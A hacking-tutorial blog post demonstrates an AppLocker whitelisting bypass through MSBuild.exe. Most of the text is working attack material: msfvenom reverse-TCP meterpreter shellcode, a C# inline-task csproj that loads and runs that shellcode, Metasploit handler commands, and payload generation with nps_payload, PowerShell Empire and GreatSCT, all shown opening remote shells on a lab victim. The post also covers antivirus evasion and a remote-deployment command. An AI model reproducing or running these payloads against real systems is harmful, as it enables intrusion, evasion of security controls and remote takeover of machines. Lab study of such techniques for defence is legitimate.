Windows Exploitation: msbuild

January 22, 2019 By Raj Chandel

The purpose of this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason, the system admin adds group policies to restrict app execution for the local user. In our previous article, we had discussed on "**Windows Applocker Policy – A Beginner's Guide**" as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with MSbuild.exe.

Table of Content

Introduction to MSbuild.exe

The Microsoft Build Engine is a platform for building applications. This engine, which is also known as **MSBuild**, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but it doesn't depend on Visual Studio. By invoking *msbuild.exe* on your project or solution file, you can organize and build products in environments where Visual Studio isn't installed.

Visual Studio uses MSBuild to load and build managed projects. The project files in Visual Studio (*.csproj*, *.vbproj*, *.vcxproj*, and others) contain MSBuild XML code.

Exploiting Techniques:

Generate CSharp file with Msfvenom

We use Microsoft Visual Studio to create C # (C Sharp) programming project with a ***.csproj** suffix that saved in MSBuild format so that it can be compiled with the MSBuild platform into an executable program.

With the help of a malicious build, we can obtain a reverse shell of the victim's machine. Therefore, now we will generate our file.csproj file and for that, first generate a shellcode of c# via msfvenom. Then later that shellcode will be placed inside our file.csproj as given below.

```
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csha
```

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of csharp file: 1759 bytes
byte[] buf = new byte[341] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,
0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x01,0x6d,
0x68,0x02,0x00,0x04,0xd2,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,
0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,
0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,
0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,
0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,
0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,
0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,
0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,
0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,
0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 };
```

The shellcode generated above should be placed in the XML file and you can download this XML file from GitHub, which has the code that the MSBuild compiles and executes. This XML file should be saved as. **file.csproj** and must be run via MSBuild to get a Meterpreter session.

Note: Replace the shellcode value from your C# shellcode and then rename buf as shellcode as shown in the below image.

```
root@kali:~# cat file.csproj
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll
    <Task>

      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {
          private static UInt32 MEM_COMMIT = 0x1000;
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );
          public override bool Execute()
          {
            byte[] shellcode = new byte[341] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
```


You can run MSBuild from Visual Studio, or from the Command Window. By using Visual Studio, you can compile an application to run on any one of several versions of the .NET Framework.

For example, you can compile an application to run on the .NET Framework 2.0 on a 32-bit platform, and you can compile the same application to run on the .NET Framework 4.5 on a 64-bit platform. The ability to compile to more than one framework is named multitargeting.

To know more about MSBuild read from here: *//docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015*

Now launch multi handler to get meterpreter session and run the file.csproj file with msbuild.exe at the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
```

***Note**: you need to save your malicious payload (XML / csproj) at this location:*

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ and then execute this file with a command prompt.

```
C:\Users\raj\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
Microsoft (R) Build Engine version 4.7.3056.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 1/1/2019 7:18:09 PM.
```

```
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
```

As you can observe, we have the meterpreter session of the victim as shown below:

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
msf exploit(multi/handler) > set lport 1234
lport => 1234
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.109:1234
[*] Sending stage (179779 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.109:1234 -> 192.168.1.105:49433) at 2018-12

meterpreter > sysinfo
Computer        : DESKTOP-NQM64AS
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```

Generate XML file to Exploit MSBuild

As mentioned above, MSBuild uses an XML- based project file format that is straightforward and extensible, so we can rename the generated file.csproj as file.xml and again run the file.xml with msbuild.exe on the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml
```

```
C:\Users\raj\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml
Microsoft (R) Build Engine version 4.7.3056.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 1/1/2019 6:34:54 PM.
```

```
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
```

As you can observe, we have the meterpreter session of the victim as shown below:

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
msf exploit(multi/handler) > set lport 1234
lport => 1234
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.109:1234
[*] Sending stage (179779 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.109:1234 -> 192.168.1.105:59197) at 201

meterpreter > sysinfo
Computer        : DESKTOP-NQM64AS
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```

Nps_Payload Script

This script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. Written by Larry Spohn (@Spoonman1091) Payload written by Ben Mauch (@Ben0xA) aka dirty_ben. You can download it from **github**.

Nps_payload generates payloads that could be executed with msbuild.exe and mshta.exe to get the reverse connection of the victim's machine via the meterpreter session.

Follow the below step for generating payload:

1. Run **./nps_payload.py** script, once you have downloaded nps payload from GitHub
2. Press **key 1** to select task "generate msbuild/nps/msf"
3. Again Press key 1 to select payload "windows/meterpreter/reverse_tcp"

This will generate a payload in the XML file, send this file at target location C:\Windows\Microsoft.Net\Framework\v4.0.30319 as done in the previous method and simultaneously run below command in a new terminal to start the listener.

```
msfconsole -r msbuild_nps.rc
```

```
root@kali:~/nps_payload# ./nps_payload.py

                                    (            (
                                ) (     )\         )  )\ )
  (     `   )  (        `   )  ( /( )\ )((_)(   ( /( (()/(
  )\ ) /(/(  )\      /(/(  )(_)|()/(  _  )\  )(_)) ((_)
 _(_/(((_)_\((_)    ((_)_\((_)_ )(_)) |((_)((_)_  _| |
| ' \)) '_ \|_-<    | '_ \) _` | || | / _ \/ _` / _` |
|_||_|| .__//__/____| .__/\__,_|\_, |_\___/\__,_\__,_|
      |_|     |_____|_|         |__/

                       v1.03


        (1)     Generate msbuild/nps/msf payload
        (2)     Generate msbuild/nps/msf HTA payload
        (99)    Quit

Select a task: 1

Payload Selection:

        (1)     windows/meterpreter/reverse_tcp
        (2)     windows/meterpreter/reverse_http
        (3)     windows/meterpreter/reverse_https
        (4)     Custom PS1 Payload

Select payload: 1
Enter Your Local IP Address (None): 192.168.1.107
Enter the listener port (443):
[*] Generating PSH Payload...
[*] Generating MSF Resource Script...
[+] Metasploit resource script written to msbuild_nps.rc
[+] Payload written to msbuild_nps.xml

1. Run "msfconsole -r msbuild_nps.rc" to start listener.
2. Choose a Deployment Option (a or b): - See README.md for more information.
  a. Local File Deployment:
    - %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml
  b. Remote File Deployment:
    - wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.3
3. Hack the Planet!!
root@kali:~/nps_payload# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.1.105 - - [13/Jan/2019 12:33:39] "GET / HTTP/1.1" 200 -
```

Now repeat the above step to execute msbuild_nps.xml with command prompt and obtain a reverse connection via meterpreter as shown below:

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe msbuild_nps.xml
```

```
[*] Processing msbuild_nps.rc for ERB directives.
resource (msbuild_nps.rc)> use multi/handler
resource (msbuild_nps.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (msbuild_nps.rc)> set LHOST 192.168.1.107
LHOST => 192.168.1.107
resource (msbuild_nps.rc)> set LPORT 443
LPORT => 443
resource (msbuild_nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (msbuild_nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msbuild_nps.rc)> exploit -j -z
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.107:443
msf exploit(multi/handler) > [*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179808 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.107:443 -> 192.168.1.105:53976) at 2019-01-

msf exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : DESKTOP-NQM64AS
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```


PowerShell Empire

For our next method of msbuild Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our XML tacks with Metasploit but in this method, we will use empire framework. It's solely a python-based PowerShell windows agent which makes it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch_gui, and @xorrior. You can download this framework from **Here**

To have a basic guide of Empire, please visit our article introducing empire:

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type :

```
listeners
uselistner http
set Host //192.168.1.107
execute
```

With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell.

For our MSBuild attack, we will use a stager. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:

```
usestager windows/launcher_xml
set Listener http
execute
```

Usestager will create a malicious code file that will be saved in the /tmp named launcher.xml.

```
       285 modules currently loaded

       0 listeners currently active

       0 agents currently active

(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.1.107
(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) > back
(Empire: listeners) > usestager windows/launcher_xml
(Empire: stager/windows/launcher_xml) > set Listener http
(Empire: stager/windows/launcher_xml) > execute
[*] Removing Launcher String

[*] Stager output written out to: /tmp/launcher.xml

(Empire: stager/windows/launcher_xml) >
```

And once the file runs, we will have the result on our listener. Run the file in your victim's by typing following command :

```
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
```

```
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\raj>cd C:\Windows\Microsoft.NET\Framework\v4.0.30319

C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe launcher.xml
Microsoft (R) Build Engine version 4.7.3056.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 1/13/2019 11:23:07 PM.

Build succeeded.
    0 Warning(s)
    0 Error(s)

Time Elapsed 00:00:00.62
```

To see if we have any session open type 'agents'. Doing so will show you the name of the session you have. To access that session type :

```
interact A8H14C7L
```

The above command will give you access to the session.

```
sysinfo
```

```
[+] Initial agent A8H14C7L from 192.168.1.105 now active (Slack)
[*] Sending agent (stage 2) to A8H14C7L at 192.168.1.105

(Empire: stager/windows/launcher_xml) > interact A8H14C7L
(Empire: A8H14C7L) > sysinfo
[*] Tasked A8H14C7L to run TASK_SYSINFO
[*] Agent A8H14C7L tasked with task ID 1
(Empire: A8H14C7L) > sysinfo: 0|http://192.168.1.107:80|DESKTOP-NQM64AS|raj|DESKTOP-NQM64AS|
:b842|Microsoft Windows 10 Enterprise|False|MSBuild|6532|powershell|5
[*] Agent A8H14C7L returned results.
Listener:         http://192.168.1.107:80
Internal IP:    192.168.10.1 fe80::90d0:4c4b:d967:4626 192.168.232.1 fe80::e826:8249:4ee0:1e
Username:         DESKTOP-NQM64AS\raj
Hostname:       DESKTOP-NQM64AS
OS:               Microsoft Windows 10 Enterprise
High Integrity:   0
Process Name:     MSBuild
Process ID:       6532
Language:         powershell
Language Version: 5

[*] Valid results returned by 192.168.1.105
```

GreatSCT

GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most anti-viruses. GreatSCT is current under support by @ConsciousHacker. You can download it from here: *//github.com/GreatSCT/GreatSCT*

Once it's downloaded and running, type the following command to access the modules:

```
use Bypass
```

```
==============================================================================
                              GreatSCT | [Version]: 1.0
==============================================================================
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
==============================================================================

Main Menu

        1 tools loaded

Available Commands:

        exit                    Exit GreatSCT
        info                    Information on a specific tool
        list                    List available tools
        update                  Update GreatSCT
        use                     Use a specific tool

Main menu choice: use Bypass
```

Now to see the list of payloads type :

```
list
```

```
================================================================================
                                   Great Scott!
================================================================================
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
================================================================================

GreatSCT-Bypass Menu

        26 payloads loaded

Available Commands:

        back                    Go to main GreatSCT menu
        checkvt                 Check virustotal against generated hashes
        clean                   Remove generated artifacts
        exit                    Exit GreatSCT
        info                    Information on a specific payload
        list                    List available payloads
        use                     Use a specific payload

GreatSCT-Bypass command: list
```

Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :

```
use msbuild/meterpreter/rev_tcp.py
```

```
================================================================================
                                    Great Scott!
================================================================================
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
================================================================================


 [*] Available Payloads:

        1)      installutil/meterpreter/rev_http.py
        2)      installutil/meterpreter/rev_https.py
        3)      installutil/meterpreter/rev_tcp.py
        4)      installutil/powershell/script.py
        5)      installutil/shellcode_inject/base64.py
        6)      installutil/shellcode_inject/virtual.py

        7)      msbuild/meterpreter/rev_http.py
        8)      msbuild/meterpreter/rev_https.py
        9)      msbuild/meterpreter/rev_tcp.py
        10)     msbuild/powershell/script.py
        11)     msbuild/shellcode_inject/base64.py
        12)     msbuild/shellcode_inject/virtual.py

        13)     mshta/shellcode_inject/base64_migrate.py

        14)     regasm/meterpreter/rev_http.py
        15)     regasm/meterpreter/rev_https.py
        16)     regasm/meterpreter/rev_tcp.py
        17)     regasm/powershell/script.py
        18)     regasm/shellcode_inject/base64.py
        19)     regasm/shellcode_inject/virtual.py

        20)     regsvcs/meterpreter/rev_http.py
        21)     regsvcs/meterpreter/rev_https.py
        22)     regsvcs/meterpreter/rev_tcp.py
        23)     regsvcs/powershell/script.py
        24)     regsvcs/shellcode_inject/base64.py
        25)     regsvcs/shellcode_inject/virtual.py

        26)     regsvr32/shellcode_inject/base64_migrate.py



GreatSCT-Bypass command: use msbuild/meterpreter/rev_tcp.py
```

Once the command is executed, type :

```
set lhost 192.168.1.107
generate
```

```
================================================================================
                                    Great Scott!
================================================================================
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
================================================================================

 Payload information:

        Name:           Pure MSBuild C# Reverse TCP Stager
        Language:       msbuild
        Rating:         Excellent
        Description:    pure windows/meterpreter/reverse_tcp stager, no
                        shellcode

Payload: msbuild/meterpreter/rev_tcp selected

Required Options:

Name                    Value           Description
----                    -----           -----------
DOMAIN                  X               Optional: Required internal domain
EXPIRE_PAYLOAD          X               Optional: Payloads expire after "Y" days
HOSTNAME                X               Optional: Required system hostname
INJECT_METHOD           Virtual         Virtual or Heap
LHOST                                   IP of the Metasploit handler
LPORT                   4444            Port of the Metasploit handler
PROCESSORS              X               Optional: Minimum number of processors
SLEEP                   X               Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE                X               Optional: Check to validate not in UTC
USERNAME                X               Optional: The required user account

 Available Commands:

        back            Go back
        exit            Completely exit GreatSCT
        generate        Generate the payload
        options         Show the shellcode's options
        set             Set shellcode option

[msbuild/meterpreter/rev_tcp>>] set lhost 192.168.1.107

[msbuild/meterpreter/rev_tcp>>] generate
```

While generating the payload, it will ask you to give a name for a payload. By default, it will take ‘payload’ as the name. We had given msbuild as payload name where the output code will be saved in XML.

```
================================================================================
                                   Great Scott!
================================================================================
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
================================================================================

Please enter the base name for output files (default is payload): msbuild
```

Now, it made two files. One Metasploit RC file and other a msbuild.xml file.

Now, firstly, start the python's server in /usr/share/greatsct-output/source by typing:

```
python -m SimpleHTTPServer 80
```

```
================================================================================
                                   Great Scott!
================================================================================
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
================================================================================

 [*] Language: msbuild
 [*] Payload Module: msbuild/meterpreter/rev_tcp
 [*] MSBuild compiles for  us, so you just get xml :)
 [*] Source code written to: /usr/share/greatsct-output/source/msbuild.xml
 [*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/msbuild.rc

Please press enter to continue >:
```

Run the file in your victim's by typing following command:

```
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml
```

```
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\raj>cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe msbuild.xml
Microsoft (R) Build Engine version 4.7.3056.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 1/15/2019 5:44:59 PM.
```

Simultaneously, start the multi/handler using the resource file. For this, type :

```
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
```

And voila! We have a meterpreter session as shown here.

```
       =[ metasploit v4.17.35-dev                         ]
+ -- --=[ 1847 exploits - 1043 auxiliary - 321 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /usr/share/greatsct-output/handlers/msbuild.rc for ERB directives.
resource (/usr/share/greatsct-output/handlers/msbuild.rc)> use exploit/multi/handler
resource (/usr/share/greatsct-output/handlers/msbuild.rc)> set PAYLOAD windows/meterpreter
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/usr/share/greatsct-output/handlers/msbuild.rc)> set LHOST 192.168.1.107
LHOST => 192.168.1.107
resource (/usr/share/greatsct-output/handlers/msbuild.rc)> set LPORT 4444
LPORT => 4444
resource (/usr/share/greatsct-output/handlers/msbuild.rc)> set ExitOnSession false
ExitOnSession => false
resource (/usr/share/greatsct-output/handlers/msbuild.rc)> exploit -j
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.107:4444
msf exploit(multi/handler) > [*] Sending stage (179779 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.105:60874) at 2019-01-15
```

Reference: //docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017